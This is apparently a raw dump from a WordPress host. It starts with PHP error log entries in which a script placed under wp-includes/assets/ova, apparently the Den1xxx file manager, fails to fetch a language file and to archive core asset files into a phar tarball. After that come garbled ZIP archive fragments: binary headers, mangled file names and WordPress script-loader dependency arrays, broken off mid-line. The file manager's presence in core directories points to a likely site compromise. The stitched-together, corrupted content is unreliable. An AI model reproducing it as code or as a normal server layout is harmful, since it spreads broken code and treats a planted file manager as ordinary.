[01-Sep-2025 08:40:42 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [01-Sep-2025 08:40:42 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [01-Sep-2025 08:40:42 UTC] PHP Fatal error: Uncaught PharException: tar-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/script-modules-packages.min.php.tar" cannot be created, header for file "home/eufvorrv/jigawapost.com.ng/wp-includes/assets/script-modules-packages.min.php" could not be written in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php:1117 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php(1117): PharData->addFile('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 1117 [01-Sep-2025 10:09:31 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 [01-Sep-2025 10:09:36 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/assets/ova/index.php on line 91 PK!['Knn)script-loader-react-refresh-entry.min.phpnu[ array('wp-react-refresh-runtime'), 'version' => '461b2e321e6e009f2209'); PK!['Knn%script-loader-react-refresh-entry.phpnu[ array('wp-react-refresh-runtime'), 'version' => '461b2e321e6e009f2209'); PK![+ߋ00script-loader-packages.phpnu[ array('dependencies' => array('wp-dom-ready', 'wp-i18n'), 'version' => '604a4359a838a9073d9f'), 'annotations.js' => array('dependencies' => array('wp-data', 'wp-hooks', 'wp-i18n', 'wp-rich-text'), 'version' => 'dfaab3186d5cfee4a4c2'), 'api-fetch.js' => array('dependencies' => array('wp-i18n', 'wp-url'), 'version' => '52446bd41c30bc419a05'), 'autop.js' => array('dependencies' => array(), 'version' => 'a0567e518e6863383ace'), 'blob.js' => array('dependencies' => array('wp-polyfill'), 'version' => '65d38acd0a443932b695'), 'block-directory.js' => array('dependencies' => array('react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-notices', 'wp-plugins', 'wp-primitives', 'wp-url'), 'version' => '4663e7373a239c52d743'), 'block-editor.js' => array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-blob', 'wp-block-serialization-default-parser', 'wp-blocks', 'wp-commands', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-notices', 'wp-polyfill', 'wp-preferences', 'wp-primitives', 'wp-priority-queue', 'wp-private-apis', 'wp-rich-text', 'wp-style-engine', 'wp-token-list', 'wp-url', 'wp-warning'), 'version' => '915e7b96a5bc793b8673'), 'block-library.js' => array('dependencies' => array('react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-autop', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-escape-html', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-notices', 'wp-patterns', 'wp-polyfill', 'wp-primitives', 'wp-private-apis', 'wp-rich-text', 'wp-server-side-render', 'wp-url', 'wp-wordcount'), 'version' => 'b461c9158f28bd27f281'), 'block-serialization-default-parser.js' => array('dependencies' => array(), 'version' => '1d1bef54e84a98f3efb9'), 'blocks.js' => array('dependencies' => array('react-jsx-runtime', 'wp-autop', 'wp-blob', 'wp-block-serialization-default-parser', 'wp-data', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-polyfill', 'wp-private-apis', 'wp-rich-text', 'wp-shortcode', 'wp-warning'), 'version' => 'e851ee8e9644a9abf7ed'), 'commands.js' => array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-primitives', 'wp-private-apis'), 'version' => 'afc09c8bf245fe46c7a0'), 'components.js' => array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-a11y', 'wp-compose', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-escape-html', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keycodes', 'wp-primitives', 'wp-private-apis', 'wp-rich-text', 'wp-warning'), 'version' => '2f2a5ecdb5f215b015e6'), 'compose.js' => array('dependencies' => array('react', 'react-jsx-runtime', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-is-shallow-equal', 'wp-keycodes', 'wp-priority-queue'), 'version' => 'ccc1a46c6a7b3734d300'), 'core-commands.js' => array('dependencies' => array('react-jsx-runtime', 'wp-commands', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-private-apis', 'wp-router', 'wp-url'), 'version' => 'a0115e38272e1800dbd2'), 'core-data.js' => array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-private-apis', 'wp-rich-text', 'wp-url', 'wp-warning'), 'version' => '70ddde93f4f568925186'), 'customize-widgets.js' => array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-media-utils', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-widgets'), 'version' => '96ce1edc9b683b77847c'), 'data.js' => array('dependencies' => array('react-jsx-runtime', 'wp-compose', 'wp-deprecated', 'wp-element', 'wp-is-shallow-equal', 'wp-priority-queue', 'wp-private-apis', 'wp-redux-routine'), 'version' => '2797f012cdb7d180a746'), 'data-controls.js' => array('dependencies' => array('wp-api-fetch', 'wp-data', 'wp-deprecated'), 'version' => 'e31cdcc73f3eea4fbe01'), 'date.js' => array('dependencies' => array('moment', 'wp-deprecated'), 'version' => '93f88d98de5601d8a46d'), 'deprecated.js' => array('dependencies' => array('wp-hooks'), 'version' => '741e32edb0e7c2dd30da'), 'dom.js' => array('dependencies' => array('wp-deprecated'), 'version' => 'c52280a066e254c24ec7'), 'dom-ready.js' => array('dependencies' => array(), 'version' => '5b9fa8df0892dc9a7c41'), 'edit-post.js' => array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-commands', 'wp-components', 'wp-compose', 'wp-core-commands', 'wp-core-data', 'wp-data', 'wp-deprecated', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-notices', 'wp-plugins', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-url', 'wp-widgets'), 'version' => 'dc6bbea5a448261ec8de'), 'edit-site.js' => array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-blob', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-commands', 'wp-components', 'wp-compose', 'wp-core-commands', 'wp-core-data', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-media-utils', 'wp-notices', 'wp-patterns', 'wp-plugins', 'wp-polyfill', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-router', 'wp-url', 'wp-warning', 'wp-widgets'), 'version' => '2dd42f9ef237a6be1b5e'), 'edit-widgets.js' => array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-media-utils', 'wp-notices', 'wp-patterns', 'wp-plugins', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-url', 'wp-viewport', 'wp-widgets'), 'version' => '47b223cb88d85c713a6b'), 'editor.js' => array('dependencies' => array('react', 'react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-commands', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-media-utils', 'wp-notices', 'wp-patterns', 'wp-plugins', 'wp-polyfill', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-rich-text', 'wp-server-side-render', 'wp-url', 'wp-viewport', 'wp-warning', 'wp-wordcount'), 'version' => '4faaac0109b050f1dbb2'), 'element.js' => array('dependencies' => array('react', 'react-dom', 'wp-escape-html'), 'version' => '6bd445740b34f5eae604'), 'escape-html.js' => array('dependencies' => array(), 'version' => '93558693d672af42c190'), 'format-library.js' => array('dependencies' => array('react-jsx-runtime', 'wp-a11y', 'wp-block-editor', 'wp-components', 'wp-data', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-primitives', 'wp-private-apis', 'wp-rich-text', 'wp-url'), 'version' => '36151f5b565e0cdf6ddc'), 'hooks.js' => array('dependencies' => array(), 'version' => 'be67dc331e61e06d52fa'), 'html-entities.js' => array('dependencies' => array(), 'version' => '0d1913e5b8fb9137bad2'), 'i18n.js' => array('dependencies' => array('wp-hooks'), 'version' => '5edc734adb78e0d7d00e'), 'is-shallow-equal.js' => array('dependencies' => array(), 'version' => '58ed73f7376c883f832b'), 'keyboard-shortcuts.js' => array('dependencies' => array('react-jsx-runtime', 'wp-data', 'wp-element', 'wp-keycodes'), 'version' => 'c0e19c4aa8550cb4f71d'), 'keycodes.js' => array('dependencies' => array('wp-i18n'), 'version' => '2bad5660ad4ebde6540c'), 'list-reusable-blocks.js' => array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-blob', 'wp-components', 'wp-compose', 'wp-element', 'wp-i18n'), 'version' => 'ad48bd203f06c82d4c77'), 'media-utils.js' => array('dependencies' => array('wp-api-fetch', 'wp-blob', 'wp-element', 'wp-i18n', 'wp-private-apis'), 'version' => '6c862a9b6eee311930ac'), 'notices.js' => array('dependencies' => array('wp-data'), 'version' => 'bb7ea4346f0c7a77df98'), 'nux.js' => array('dependencies' => array('react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => 'a8290a113a755fbd665b'), 'patterns.js' => array('dependencies' => array('react-jsx-runtime', 'wp-a11y', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-private-apis', 'wp-url'), 'version' => 'ea1ca8506283289a8aeb'), 'plugins.js' => array('dependencies' => array('react-jsx-runtime', 'wp-compose', 'wp-deprecated', 'wp-element', 'wp-hooks', 'wp-is-shallow-equal', 'wp-primitives'), 'version' => '7313a68349c296697e15'), 'preferences.js' => array('dependencies' => array('react-jsx-runtime', 'wp-a11y', 'wp-components', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-element', 'wp-i18n', 'wp-primitives', 'wp-private-apis'), 'version' => 'f49ac7669ac11f416b6f'), 'preferences-persistence.js' => array('dependencies' => array('wp-api-fetch'), 'version' => 'a5baddbc610561581693'), 'primitives.js' => array('dependencies' => array('react-jsx-runtime', 'wp-element'), 'version' => '66632613c3c6b0ed6f76'), 'priority-queue.js' => array('dependencies' => array(), 'version' => 'be4e4334602693fa7256'), 'private-apis.js' => array('dependencies' => array(), 'version' => '18ea1d568a3bfd485afb'), 'redux-routine.js' => array('dependencies' => array(), 'version' => '9473249104d09cb1245d'), 'reusable-blocks.js' => array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url'), 'version' => '03eefa7ca729412606a7'), 'rich-text.js' => array('dependencies' => array('wp-a11y', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-element', 'wp-escape-html', 'wp-i18n', 'wp-keycodes'), 'version' => 'bc76e6f025d3556aa54a'), 'router.js' => array('dependencies' => array('react-jsx-runtime', 'wp-compose', 'wp-element', 'wp-polyfill', 'wp-private-apis', 'wp-url'), 'version' => '99ea3f320332583c3e5c'), 'server-side-render.js' => array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => '5058284dc05b1b1b2661'), 'shortcode.js' => array('dependencies' => array(), 'version' => '37060a10de8dd991d95d'), 'style-engine.js' => array('dependencies' => array(), 'version' => '95bc9b8c9f4f0e8a6423'), 'token-list.js' => array('dependencies' => array(), 'version' => '09fdc83606f766278b8b'), 'url.js' => array('dependencies' => array('wp-polyfill'), 'version' => '0d5442d059e14ea1b21e'), 'viewport.js' => array('dependencies' => array('react-jsx-runtime', 'wp-compose', 'wp-data'), 'version' => '82036eb97185ee78762b'), 'warning.js' => array('dependencies' => array(), 'version' => '4ecd4ff4d8fa94314090'), 'widgets.js' => array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-polyfill', 'wp-primitives'), 'version' => 'b2d3d6f0ca283bd27cbc'), 'wordcount.js' => array('dependencies' => array(), 'version' => 'f5354b03b95c624877fb')); PK![֍TT'script-loader-react-refresh-runtime.phpnu[ array(), 'version' => '8f1acdfb845f670b0ef2'); PK![wOKscript-modules-packages.phpnu[ array('dependencies' => array(), 'version' => '48fc4752aca8f8795ca8', 'type' => 'module'), 'interactivity/debug.js' => array('dependencies' => array(), 'version' => 'beb31ebdbe898d3dd230', 'type' => 'module'), 'interactivity-router/index.js' => array('dependencies' => array('@wordpress/interactivity', array('id' => '@wordpress/a11y', 'import' => 'dynamic')), 'version' => '549bd2787122793df49c', 'type' => 'module'), 'a11y/index.js' => array('dependencies' => array(), 'version' => '2a5dd8e0f11b6868f8cf', 'type' => 'module'), 'block-library/file/view.js' => array('dependencies' => array('@wordpress/interactivity'), 'version' => 'e925ab60cccb6624004c', 'type' => 'module'), 'block-library/form/view.js' => array('dependencies' => array('wp-polyfill'), 'version' => '025c7429344421ccb2ef', 'type' => 'module'), 'block-library/image/view.js' => array('dependencies' => array('@wordpress/interactivity'), 'version' => '23364a7b9437dd6c3319', 'type' => 'module'), 'block-library/navigation/view.js' => array('dependencies' => array('@wordpress/interactivity'), 'version' => '0735c27ca16ce2f60efd', 'type' => 'module'), 'block-library/query/view.js' => array('dependencies' => array('@wordpress/interactivity', array('id' => '@wordpress/interactivity-router', 'import' => 'dynamic')), 'version' => '6ac3e743320307785d41', 'type' => 'module'), 'block-library/search/view.js' => array('dependencies' => array('@wordpress/interactivity'), 'version' => 'e7b1695e621770b7ebb8', 'type' => 'module')); PK![ri/11script-loader-packages.min.phpnu[ array('dependencies' => array('wp-dom-ready', 'wp-i18n'), 'version' => '3156534cc54473497e14'), 'annotations.min.js' => array('dependencies' => array('wp-data', 'wp-hooks', 'wp-i18n', 'wp-rich-text'), 'version' => '238360e96c76d37a2468'), 'api-fetch.min.js' => array('dependencies' => array('wp-i18n', 'wp-url'), 'version' => '3623a576c78df404ff20'), 'autop.min.js' => array('dependencies' => array(), 'version' => '9fb50649848277dd318d'), 'blob.min.js' => array('dependencies' => array('wp-polyfill'), 'version' => '9113eed771d446f4a556'), 'block-directory.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-notices', 'wp-plugins', 'wp-primitives', 'wp-url'), 'version' => '5cecf7d562a5ae133696'), 'block-editor.min.js' => array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-blob', 'wp-block-serialization-default-parser', 'wp-blocks', 'wp-commands', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-notices', 'wp-polyfill', 'wp-preferences', 'wp-primitives', 'wp-priority-queue', 'wp-private-apis', 'wp-rich-text', 'wp-style-engine', 'wp-token-list', 'wp-url', 'wp-warning'), 'version' => 'b3b0b55b35e04df52f7c'), 'block-library.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-autop', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-escape-html', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-notices', 'wp-patterns', 'wp-polyfill', 'wp-primitives', 'wp-private-apis', 'wp-rich-text', 'wp-server-side-render', 'wp-url', 'wp-wordcount'), 'version' => '345e81712b7dbb2f48dc'), 'block-serialization-default-parser.min.js' => array('dependencies' => array(), 'version' => '14d44daebf663d05d330'), 'blocks.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-autop', 'wp-blob', 'wp-block-serialization-default-parser', 'wp-data', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-polyfill', 'wp-private-apis', 'wp-rich-text', 'wp-shortcode', 'wp-warning'), 'version' => '84530c06a3c62815b497'), 'commands.min.js' => array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-primitives', 'wp-private-apis'), 'version' => '14ee29ad1743be844b11'), 'components.min.js' => array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-a11y', 'wp-compose', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-escape-html', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keycodes', 'wp-primitives', 'wp-private-apis', 'wp-rich-text', 'wp-warning'), 'version' => '865f2ec3b5f5195705e0'), 'compose.min.js' => array('dependencies' => array('react', 'react-jsx-runtime', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-is-shallow-equal', 'wp-keycodes', 'wp-priority-queue'), 'version' => '84bcf832a5c99203f3db'), 'core-commands.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-commands', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-private-apis', 'wp-router', 'wp-url'), 'version' => 'afcb83dba96ea45361e9'), 'core-data.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-private-apis', 'wp-rich-text', 'wp-url', 'wp-warning'), 'version' => '64479bc080c558e99158'), 'customize-widgets.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-media-utils', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-widgets'), 'version' => '42a5462097681fd98f6f'), 'data.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-compose', 'wp-deprecated', 'wp-element', 'wp-is-shallow-equal', 'wp-priority-queue', 'wp-private-apis', 'wp-redux-routine'), 'version' => 'fe6c4835cd00e12493c3'), 'data-controls.min.js' => array('dependencies' => array('wp-api-fetch', 'wp-data', 'wp-deprecated'), 'version' => '49f5587e8b90f9e7cc7e'), 'date.min.js' => array('dependencies' => array('moment', 'wp-deprecated'), 'version' => '85ff222add187a4e358f'), 'deprecated.min.js' => array('dependencies' => array('wp-hooks'), 'version' => 'e1f84915c5e8ae38964c'), 'dom.min.js' => array('dependencies' => array('wp-deprecated'), 'version' => '80bd57c84b45cf04f4ce'), 'dom-ready.min.js' => array('dependencies' => array(), 'version' => 'f77871ff7694fffea381'), 'edit-post.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-commands', 'wp-components', 'wp-compose', 'wp-core-commands', 'wp-core-data', 'wp-data', 'wp-deprecated', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-notices', 'wp-plugins', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-url', 'wp-widgets'), 'version' => 'd92354a82041cfd9f542'), 'edit-site.min.js' => array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-blob', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-commands', 'wp-components', 'wp-compose', 'wp-core-commands', 'wp-core-data', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-media-utils', 'wp-notices', 'wp-patterns', 'wp-plugins', 'wp-polyfill', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-router', 'wp-url', 'wp-warning', 'wp-widgets'), 'version' => '4cfd4c6e8c033bb1b61a'), 'edit-widgets.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-media-utils', 'wp-notices', 'wp-patterns', 'wp-plugins', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-url', 'wp-viewport', 'wp-widgets'), 'version' => '9a04bb29c0759b535e9e'), 'editor.min.js' => array('dependencies' => array('react', 'react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-commands', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-media-utils', 'wp-notices', 'wp-patterns', 'wp-plugins', 'wp-polyfill', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-rich-text', 'wp-server-side-render', 'wp-url', 'wp-viewport', 'wp-warning', 'wp-wordcount'), 'version' => 'e143f7bc0f4773342f31'), 'element.min.js' => array('dependencies' => array('react', 'react-dom', 'wp-escape-html'), 'version' => 'a4eeeadd23c0d7ab1d2d'), 'escape-html.min.js' => array('dependencies' => array(), 'version' => '6561a406d2d232a6fbd2'), 'format-library.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-a11y', 'wp-block-editor', 'wp-components', 'wp-data', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-primitives', 'wp-private-apis', 'wp-rich-text', 'wp-url'), 'version' => 'f813b03986e369dad65e'), 'hooks.min.js' => array('dependencies' => array(), 'version' => '4d63a3d491d11ffd8ac6'), 'html-entities.min.js' => array('dependencies' => array(), 'version' => '2cd3358363e0675638fb'), 'i18n.min.js' => array('dependencies' => array('wp-hooks'), 'version' => '5e580eb46a90c2b997e6'), 'is-shallow-equal.min.js' => array('dependencies' => array(), 'version' => 'e0f9f1d78d83f5196979'), 'keyboard-shortcuts.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-data', 'wp-element', 'wp-keycodes'), 'version' => '32686e58e84193ce808b'), 'keycodes.min.js' => array('dependencies' => array('wp-i18n'), 'version' => '034ff647a54b018581d3'), 'list-reusable-blocks.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-blob', 'wp-components', 'wp-compose', 'wp-element', 'wp-i18n'), 'version' => 'ece12b3c74315b4175ef'), 'media-utils.min.js' => array('dependencies' => array('wp-api-fetch', 'wp-blob', 'wp-element', 'wp-i18n', 'wp-private-apis'), 'version' => 'c3dd622ad8417c2d4474'), 'notices.min.js' => array('dependencies' => array('wp-data'), 'version' => '673a68a7ac2f556ed50b'), 'nux.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '9a0dc535fe222ae46a48'), 'patterns.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-a11y', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-private-apis', 'wp-url'), 'version' => '6497476653868ae9d711'), 'plugins.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-compose', 'wp-deprecated', 'wp-element', 'wp-hooks', 'wp-is-shallow-equal', 'wp-primitives'), 'version' => '20303a2de19246c83e5a'), 'preferences.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-a11y', 'wp-components', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-element', 'wp-i18n', 'wp-primitives', 'wp-private-apis'), 'version' => '4aa23582b858c882a887'), 'preferences-persistence.min.js' => array('dependencies' => array('wp-api-fetch'), 'version' => '9307a8c9e3254140a223'), 'primitives.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-element'), 'version' => 'aef2543ab60c8c9bb609'), 'priority-queue.min.js' => array('dependencies' => array(), 'version' => '9c21c957c7e50ffdbf48'), 'private-apis.min.js' => array('dependencies' => array(), 'version' => '0f8478f1ba7e0eea562b'), 'redux-routine.min.js' => array('dependencies' => array(), 'version' => '8bb92d45458b29590f53'), 'reusable-blocks.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url'), 'version' => '73735a77e4e5095733da'), 'rich-text.min.js' => array('dependencies' => array('wp-a11y', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-element', 'wp-escape-html', 'wp-i18n', 'wp-keycodes'), 'version' => '74178fc8c4d67d66f1a8'), 'router.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-compose', 'wp-element', 'wp-polyfill', 'wp-private-apis', 'wp-url'), 'version' => 'e41607ae499191e0cb49'), 'server-side-render.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => '345a014347e34be995f0'), 'shortcode.min.js' => array('dependencies' => array(), 'version' => 'b7747eee0efafd2f0c3b'), 'style-engine.min.js' => array('dependencies' => array(), 'version' => '08cc10e9532531e22456'), 'token-list.min.js' => array('dependencies' => array(), 'version' => '3b5f5dcfde830ecef24f'), 'url.min.js' => array('dependencies' => array('wp-polyfill'), 'version' => 'c2964167dfe2477c14ea'), 'viewport.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-compose', 'wp-data'), 'version' => '829c9a30d366e1e5054c'), 'warning.min.js' => array('dependencies' => array(), 'version' => 'ed7c8b0940914f4fe44b'), 'widgets.min.js' => array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-polyfill', 'wp-primitives'), 'version' => '0b561f75d41627a9d110'), 'wordcount.min.js' => array('dependencies' => array(), 'version' => '55d8c2bf3dc99e7ea5ec')); PK![֍TT+script-loader-react-refresh-runtime.min.phpnu[ array(), 'version' => 